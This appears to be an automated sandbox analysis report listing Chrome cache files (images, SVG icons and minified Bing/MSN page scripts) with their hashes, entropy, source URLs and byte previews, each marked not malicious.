SSDEEP:	96:8zgE9tCle2bO6k8Xwm9bwmmVNiTgZ3qwYizBWxYajUXM3gN+u7fa:yg4MMQO6TXP9bwmmecZXNQV1gNHO
MD5:	4E6090E720A5FEBEAC0CC4AD6A126A97
SHA1:	65161513DDF0EB78EA0E7A8E27C42877C6A1C742
SHA-256:	2E21A2AE45558E20407B16EED9A72FC40139C23C2F96206212757BAE521185DC
SHA-512:	F109B90FC99DC8C9A1384A7F258D1F77B4BF8217F140838614689835BB6DAD54BEBC8F70DACFD8D37143CCA5AFB81F2E8CAAFE9A4E7DF8199753EAC5AB34F1CB
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_Fa9yPuPY5gIsMCqDuN-GNg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.../.7.F.\|C0.mO",..q..D.........t..-I...)..s....y}...c3..>...Ym.EtI.U.oEC.G..^..`qs.o].M&.R.F.m....i.hy"..F..s.C#...O_I.<Y.Kz.r.m6...4L.......qY.[<....?.....7..nI....=.......kbe]F.(.;%..g\|...^..'.......k....\.'..@?\.(-..lZ..E.k.s...>..x.R..9.}...vb...7j...s...tj.l!<..]..l.?(,9...OLVG..........,7..p3....l.e.lv...J0.....w"..<.\.;z.5h$h......=:.>\v.O\|.

Chrome Cache Entry: 604

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	4.643250633952913
Encrypted:	false
SSDEEP:	12:6v/7AmpUGGcLEHXSTA1udJqRcUunD8WvMI5ho7EQNU11kE:zme8uXbgJq+70I/o7Ep
MD5:	3F678119F72F6FA7F86885AE77424D87
SHA1:	E3F1B2B4495AE9C1A7B3D1CD3A97403976A76C17
SHA-256:	B1C4978024E63DF37CF1C6D5EE9D135CB9A4C5522E50C1D1C992494159926F7E
SHA-512:	949B7A9525A806F338B0C2BC6FD59B576DAE899133F6BD1F73203E415E8E6E8DBCB129B49B3B4DC5283DD3CB425BC158644329AC895CDA4F9A6B49EB01CBDF42
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..S...q.~......OPdP.... .e...`P2.+)..&...D!.`1JR...t~vw>...ru.......>..........,...p2..."..b...xn.._.H$....K\|...f.H$..jQ....0.N.v...p8@.R..r!..C.... ..c>...Z-..~.....l.X0..i.z.F&...L&......j.b.X$./.F...N....&...&..+@.^..xD$.A.P@...r..c.$...Z.p:.H'.Px.(..$L ..f.A.B...j..L&.\,.....B.P\|.p..~.6...j...R....L...T..n...._..5........&...8.^...lF..v.p8LN....T*...N'..(.9.."...3.f...1..?.W[.._...4B...J%\|>...?.Yd.....h..7co//.......w..g......?.,.;......L.....IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 605

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1362
Entropy (8bit):	4.764409764786972
Encrypted:	false
SSDEEP:	12:6v/7GbP+J5W457HOsjgkhoDWcpHL2/t57qiWa8ZT1a+1pbHiehxNpBNsA/:3bPb45Ukh7cpr2/tEfaoRVjdsa
MD5:	F5A837F815886D5BB0AA47AFD8D416C0
SHA1:	D53FE6FA5B387C1464400E9DFA74D2629578FDC0
SHA-256:	78F43709977245B6239D816A09FFE0B68BACEC488F15618CA0CE66A002C5A472
SHA-512:	292CB59926DB7D811738F6E3F380AFBE8C7EE0016D468B9F51E876714C6A00995C0CF5B2CC084A9F07389ABC9306FB2471915E0635B5054A69598C9047AA12B9
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBphlIt.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....kIDATx..OH.q..?..ss..e..\9m...i...Q.&.H^....:..<u...Ix.:DP..3.<.......P4.J.ej..... .../=.......<.-....F.D@.....G..FU~!6...&.I...b.5.....GA...N....\|.(.....r......M=.T....J<.34.z....~=A...P..MH..ZQ..q.tK..w..>7F..b.(....3..2...X.....c.T.-V..+%y.^4C_...aOB......PXZ.cM..!)..9...lIO.zV..I.........AtV....9..+.P..e[.u..h....#7d....@...}....\|.}D.9.)4.)B&<...Fw.....a.K..%...i. ....9..^...x.z0M..##..#.3..l.4.dR#...t2.'.F".t.......\|.)....s..f....{h?VYbz.Q..e.mu..?......T..E8.A...y.y..?:.k.%i.4e..c........g$C*i1......OYDeu.d...KB..Mg.M..~....J..j`G.n'3......u.^..3J.f..~O..>x..H....p.hm.M....2.......U.6....IEND.B`................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 606

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6005
Entropy (8bit):	7.9282191159615
Encrypted:	false
SSDEEP:	96:8zgEsFXLKgXvbN8PavnOROTsFBSUI7ykx+h1Boc9EXW/Y3rkQ6ngsdf9:ygl9rXvbN8PavORnBSUIWonci7ktngs
MD5:	52A594FB59BE6F84D5E208ACDB82CD94
SHA1:	D5DAAA1FF6BAA4DF9A508F40A37FD6FF8DC01FA7
SHA-256:	1C61BF996F99F0CB8B46C2E14E98A16BEA5BA99F7014E601DE1D5332EF58E7A7
SHA-512:	A3AA156C2337FD3EE2CC38FEA9F8AB6209BD99243AD50E8AE59970478394E38E0F77E144155500CE91AF6120449995A88F41A0C166D297637DCE41BC044ACEE4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..C.9v1....M.&@.....J.<!.#I...;..(T..#.J..l1.b.....2FUm...RP.g...?Jg.....x..L..PL.z..k.C....a.`.anA..w.D`...~..ecw.jQi.9ie.RDh>.v......GNM/MK}....K.e..J.....~..>.c..)S.w{.9YY..C...C.,qF.Q.`(..)....UV..x. .YIs...7_..R.Q..Wk...E7.?.....5^i-.1JQ..*. ......k....y.....g-..?2i...O.}H8...^.X..Z......Jq........F......GXy..t<~X.?....h.]mE.?.Al.R.G.^.c..YX.u.Hd.+.m~R..

Chrome Cache Entry: 607

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (426), with no line terminators
Category:	downloaded
Size (bytes):	426
Entropy (8bit):	4.904019517984965
Encrypted:	false
SSDEEP:	12:2gcmRRt9Y4LF1Zd4XV4LFUXCdg/qUWYzP++xAQI:2gcmRRFfgiUb6MAj
MD5:	857A0DE0BBF14F3427A1AFA5CD985BCE
SHA1:	0C1D2E767F07E5C0F14EA64980DB213D379CC6F7
SHA-256:	3ED65F33193430C0B9DB61FFE7F5FE27B29F86A28563992C3AFC47D4C22C23D7
SHA-512:	E7F2603855A16464417B772517676F080CCEFFB8069C687BAC798B7EB2875FCDC207E40E8C56E7CFFD4D56CED572270988599D1D2B73FB8AAA7FDD076FE3E7B7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/DB0udn8H5cDxTqZJgNshPTecxvc.js
Preview:	(function(n){function i(){var i=document.documentElement,r=document.body,u="innerWidth"in window?window.innerWidth:i.clientWidth,f="innerHeight"in window?window.innerHeight:i.clientHeight,e=window.pageXOffset\|\|i.scrollLeft,o=window.pageYOffset\|\|i.scrollTop,s=document.visibilityState\|\|"default";n.enqueue(t,{x:e,y:o,w:u,h:f,dw:r.clientWidth,dh:r.clientHeight,v:s})}var t="V";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 608

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24161)
Category:	downloaded
Size (bytes):	210559
Entropy (8bit):	5.345941373912795
Encrypted:	false
SSDEEP:	6144:114W9Z6fgRYCxp0dcf1K5Rzb8qvxCbhL/:oW9Z64RFxp0dcf1Ka
MD5:	71A2F8988438EC608744C97E04BD5BFF
SHA1:	22428474D905216EFCCD5EBAFDE459EDF101616D
SHA-256:	8AB3F8361BD91BAED007F4648BEDE8A24C4738768A67AF2E5B661119493A1987
SHA-512:	AE81D383332002D6819AB930EB08A92280234844A55D62BDE3483E38848029E858C75910C62CC627FD243ABFD63CC55F2F0631549CA8CCB9316DCC362FB44E55
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/traffic-card-wc.43495e1e08e030161787.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["traffic-card-wc"],{19456:function(t,e){"use strict";e.Z='<svg width="14" height="15" viewBox="0 0 14 15"><path d="M11.77.75c.31 0 .6.06.87.18A2.2 2.2 0 0 1 14 2.98a2.2 2.2 0 0 1-.66 1.57L4.2 13.7 0 14.76l1.05-4.21 9.14-9.13a2.19 2.19 0 0 1 .73-.49c.27-.11.55-.17.85-.17Zm-9.75 9.88a2.78 2.78 0 0 1 1.32.78 2.76 2.76 0 0 1 .78 1.32l7.6-7.6-2.1-2.1-7.6 7.6Zm-.99 3.09 2.4-.6a2.09 2.09 0 0 0-.22-.64 2.04 2.04 0 0 0-.4-.54 2.04 2.04 0 0 0-.54-.4 2.09 2.09 0 0 0-.64-.23l-.6 2.4Zm11.22-9.13.37-.35a2.93 2.93 0 0 0 .32-.36c.1-.12.17-.26.22-.4a1.36 1.36 0 0 0 .09-.5 1.5 1.5 0 0 0-.9-1.36 1.4 1.4 0 0 0-.58-.12 1.36 1.36 0 0 0-.5.09 1.73 1.73 0 0 0-.4.22 3.06 3.06 0 0 0-.36.32l-.35.37 2.09 2.1Z"/></svg>'},94522:function(t,e){"use strict";e.Z='<svg width="12" height="12" viewBox="0 0 2048 2048" role="presentation"><path d="M2014 853q0 58-32 106t-86 70l-535 223q-13 5-23 15t-14 25l-175 582q-6 20-22 33t

Chrome Cache Entry: 609

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/kiGH9ukZK6Q4hvtDtwwVc1yvueg.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

Chrome Cache Entry: 610

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.770304768304694
Encrypted:	false
SSDEEP:	12:6v/7kPInmFWkglLh6an1r/zoxz2UwzB6NCgzAo0l8z0gtcodb:DQpkAVBx/iavzB6NZAo0l8zltck
MD5:	936CA8F6DF41F841CAAE5362CC94FA29
SHA1:	6406FB60A3693E481AFB3394588A5F14320C167F
SHA-256:	EED3E25F9E4237A3AAFE7BC3536702FBDEB6B14073063300C4F61784175AC300
SHA-512:	CD3AFE4229C100BCB27B21868DE8092C88A5FB2DAEC68A4883158581B138D92701F4403B345E6E4F1E248B38BE9F810BA7F71ADC5F5153A68E3D9774891B21EC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...]H.Q.....VNg..E.R0.(..,.G.AaH...i]t.x.M7...W.)..iV..........0.Aa.YA.}.J.M.:........9.w...<.O.....y.........r.P.[k......o..;:...9u...\|..\....Z.......l.&..........2N3.......K.u.....V>........'.W......D..J...1..b..R.F.C.x..E...'`1..RP.......$cW.>.....U.....0DD..'...AfV6Y....<mo.+.. ..t...;-.4............2q.......=b........Ett.4@..\|$..-..<.q.>8.w...].F.U^NY.MPkX.......... .^(q?..(....e.../..h.0.L.........0../Pq...@-.3...^'....-..../.x'<..$......$...`kj.....@...F.T.'\|..\|..3!...V........0...7.P... .R.U..JI....e!.7.e.G..F....I..7.h.5)cV.v.......K"....'..m....8!..$Iy.....X.HO.h4....?.<f...=......E..O......#..U....IEND.B`........................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 611

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	downloaded
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/QtZcquNOunoFE0KySXJmXmH6auI.js
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

Chrome Cache Entry: 612

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	15304
Entropy (8bit):	7.9616942640776465
Encrypted:	false
SSDEEP:	384:eFn96/KruPDPwA0e0JotodfKPjAVxGvOXzVfW8VykVHGC05Sp9rTxh:eN96/1rPwwLtoNujAxA8p1Hp3JD
MD5:	93F9C1B34D75E005555B47E166C398FB
SHA1:	61F7A43AD6E90F0582C9C1C692F79EDC5B54B4B1
SHA-256:	7486DE6151B3D5CA59ABFB102CFA6B1401A96A86F0FE32D6277C6775F8FBE63D
SHA-512:	F54C70AB31301F159C0B9E1EA76C94FA1799FC6C8946476E667001B89AC75C27E4466A974D29F7B68B2B8EC702C58575E35B4635AED67A81789089DC940DE826
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...J..Nv.>..5..)dr.(..sQk.%.i..$.r.O........`B..@.r.I..l......=....j_j..?..>`9..P...`...K.H#.7...$....@pM2^..t[.OM.evi-$?6.Nz..K.i~$...".?vr.}..m\|I\|......b.M..3...;...g.U.M.(..y.^.^.^k...q..\..$.YFr+.<..Zx...i.4..2#........J......N:..+;.7ZYc.....x..x.;..xxZ...du\..r..6.....i[c..5.gv.>^...s..k5{..16....3>Gz.q.N.zm.B8<.Z.%..J...VM...;V......P..[(...P....e>^..,

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5983), with no line terminators
Category:	dropped
Size (bytes):	5983
Entropy (8bit):	5.2825366147372455
Encrypted:	false
SSDEEP:	96:kiz62PGRHEKnpA7Yc33HxTVwXKRsVNS6cvPOZWVjJnxdSwxxtR2EA8SOsDquOj:kie+GRHFnaLNjXOZWRYwxN2EANOsDqum
MD5:	785D3C1D93D18E5478F0C3FFCE35CD03
SHA1:	1F7533428AF383A196CC2319477B762F86500514
SHA-256:	B32B54F6D1BE64DF456502B677407D4CFA5F10E98CDE9350D9E63331FDBB7BFC
SHA-512:	F374DED54893E2CC95D2F8BAE4C7896F9CB4BC21E0C53B773D31F90E6D940C6ADB8552130D210D4BD43AB69EC25BCD64887660581DC5FC454C634C4E7B6037D7
Malicious:	false
Reputation:	unknown
Preview:	var Feedback;(function(n){var t;(function(t){function u(t,r,u,f,e,o){t=typeof t===i?!1:t;t&&scrollTo(0,0);u=typeof u===i?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function o(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}function a(t,a,v,y,p,w,b,k,d){function ot(t){var r=null,i;return t&&(i=new c,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var it,tt,nt,et,rt,g,ut,ft;(sj_cook&&(tt=sj_cook.get("fdbk_acc","tabfocus"),tt&&(nt=_ge(tt),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(nt=document.querySelector('[id^="'+tt+'"]'),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(et=tt.indexOf("thumb_f")!=-1&&a.indexOf("thumb_f")!=-1\|\|tt.indexOf("thumb_t")!=-1&&a.indexOf("thumb_t")!=-1,et&&(nt=_ge(a),rt=(it=nt===null\|\|nt===void 0?void 0:nt.parentElement)===null\|\|it===void 0?void 0:it.parentElement,rt&&rt.classList.contains("l_ecrd_tud")&&(nt.focus(),sj_cook.clear("fdbk_acc","/"))))))),g=_ge(a

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21914)
Category:	downloaded
Size (bytes):	333094
Entropy (8bit):	5.531682600483987
Encrypted:	false
SSDEEP:	6144:wvSLyC8/HRyAKlzUMW2V29Ze6GUz4FYg/xdOPOyR5l66u7c:aSLyHHoA+UMW2VgZe6Ve7c
MD5:	953AC271E5C4045748024EC4BD25EA4A
SHA1:	E4BA200F84257BD68DD926672C1C6E89F5498CE0
SHA-256:	F0B02102168ABB1BD5A486C58107F86BE47A70775ADC2E8CFAD2FD734D4861A9
SHA-512:	A39121C001037CBFC49A995E843150F5B060CB88583C3AB315D283931ADE335D8001A78318943B946B510CC0523FD2B2C6090CD9A07E9613C05AB05C64F59B63
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/experience.b67d868a3e7ad5bd4ffa.js
Preview:	!function(){"use strict";var t,e,i,o,a,n={96779:function(t,e,i){i.r(e),i.d(e,{MsnActionsMenu:function(){return I}});var o=i(33940),a=i(21772),n=i(63070),r=i(8522),s=i(37627),d=i(27535);var l=i(28904),c=i(99452),p=i(42590),h=i(94537),g=i(56692),u=i(44572),m=i(37802);class f extends l.H{constructor(){super(...arguments),this.useFastAnchoredRegion=!0,this.useDetailPageStyles=!1,this.fixedPosition=!1,this.defaultVerticalPosition="bottom",this.defaultHorizontalPosition="end",this.autoFocus=!0,this.zoomFactor=1,this.isUpdatingPosition=!1,this.isBingHp="bingHomepage"===g.jG.AppType,this.isViews="views"===g.jG.AppType,this.fixedParentSpace=!1,this.keyDownHandler=t=>(t.key===h.CX?(this.referrerButton&&this.referrerButton.focus(),this.$emit("dismiss-menu"),t.stopPropagation()):t.key===h.oM&&(this.customTabEventHandler?this.customTabEventHandler(this,t):this.tabEventHandler(t)),!0),this.updatePositionManually=()=>{this.updatePosition()},this.tabEventHandler=t=>{if(this.fluentMenu){const e=this.fl

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	16687
Entropy (8bit):	7.950672537236447
Encrypted:	false
SSDEEP:	384:e3YZ/H50YgKyHdSBNOF1ID2CcyQ8zIZy6WlplzPU:ee0R/KOFIcdUNlplzPU
MD5:	0A8621F424090CFF344AE4E11B087D8D
SHA1:	A89C713647E101EFDCC0A5884EF45C26C9587468
SHA-256:	C11A311AC73911421DF4FD1786641D3C7BCC21EEF6D546DB2CFFB33322FC4A1D
SHA-512:	27161260719E06A5F032D34772FD9C4BB85D03FA39687AA673AA12CA96799072EE0BA1A572DB8965CC0D87F46ED4F8D18E799D5709B3800F2014968BC9020FDF
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.76b0b01f1ea76150c5982874a2bd3acb&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......-....Q.......1.E\....<.......Xw.........>.._B.c..:6.4.+4..2O'..~-..^..i%bH8.]....7V.F..8..>.-5..I.n..z.J..f...*5.=Q..N.-.QVX..N.xGT.t..En.....}S...0xv..P.e.5......k..n.m..2.....t.K[]..Md....k.:.f.z..F.~.?>.e_..S...c..g..........U._....2.+...j..U$Y._.{V>.e.....@.\|.........4.G.2....ZXgB...._....].-~[.L.8..z.jO.^Y.Phq.\|.W-.{...4.e...Fv.....X.b........

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1477
Entropy (8bit):	5.147477666443474
Encrypted:	false
SSDEEP:	24:t4I6nxZuFcLwLsLjpaABLNRERBLLR5RBLoRFkERBLh4HxpGydGPS5HxpGESGMcRD:knpLwLsLj3LN2TLLHTLoUETLuHaDPGHd
MD5:	411B26A34D3C7CAB1793600C7461D628
SHA1:	5F4D10834676335CB8FECBF4A6405BDFDB02B2B7
SHA-256:	EAB006435A852C9CBD409B53D14980A92DD072DCCC22316FC562528EB0C54000
SHA-512:	C1F73327871B9B80008D1E57291E1DD2B09068CB0564C597183DFD1EE58E7C2FF131DC3F9EA71A411A87142C1AB038B354C430137AAA90BF0D95A684C083BB41
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/traffic/TrafficTitle.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16" width="14" height="16">..<path fill="#737A80" d="M1 1h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 6h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 11h14a4 4 0 01-4 4H5a4 4 0 01-4-4z"/>..<rect width="8" height="16" x="4" fill="url(#paint0_linear)" rx="1"/>..<circle cx="8" cy="3" r="2" fill="#FF4C00"/>..<circle cx="8" cy="3" r="2" fill="url(#paint1_linear)"/>..<circle cx="8" cy="8" r="2" fill="#FFB900"/>..<circle cx="8" cy="8" r="2" fill="url(#paint2_linear)"/>..<g>.. <circle cx="8" cy="13" r="2" fill="#78D30C"/>.. <circle cx="8" cy="13" r="2" fill="url(#paint3_linear)"/>..</g>..<defs>.. <linearGradient id="paint0_linear" x1="8" x2="8" y1="0" y2="16" gradientUnits="userSpaceOnUse">.. <stop stop-color="#5C6166"/>.. <stop offset="1" stop-color="#45494D"/>.. </linearGradient>.. <linearGradient id="paint1_linear" x1="9" x2="7" y1="4.732" y2="1.268" gradientUnits="userSpaceOnUse">.. <stop stop-color="#D83B01"/>.. <stop offset="

Chrome Cache Entry: 617

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/dbmNS45xQvD1diApY1T2HExvOo8.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	225826
Entropy (8bit):	7.997591578026521
Encrypted:	true
SSDEEP:	6144:p7TNznG8JwsweeGhLh+tGvnsi74hkdqySyWhRo+F:p7ThG8+teeGhKUv74HyS5mQ
MD5:	66CA49C5E9F38102BE83941EDBBE3FF0
SHA1:	08E06EBEFE20B22D1764A2275CD9AAE78F65A062
SHA-256:	A90FEC7BF86C6274F7C1A3CE196F5E444958A6021FDDFB5A3D9AFE9A14DA7BF9
SHA-512:	71A417D326F4853F105BB69F95703C9CFB4196637861394E76E9653B290D6CD2969F13AE8A344464B32362BFF309625596A315EA112F74308245A93423C4EBBE
Malicious:	false
Reputation:	unknown
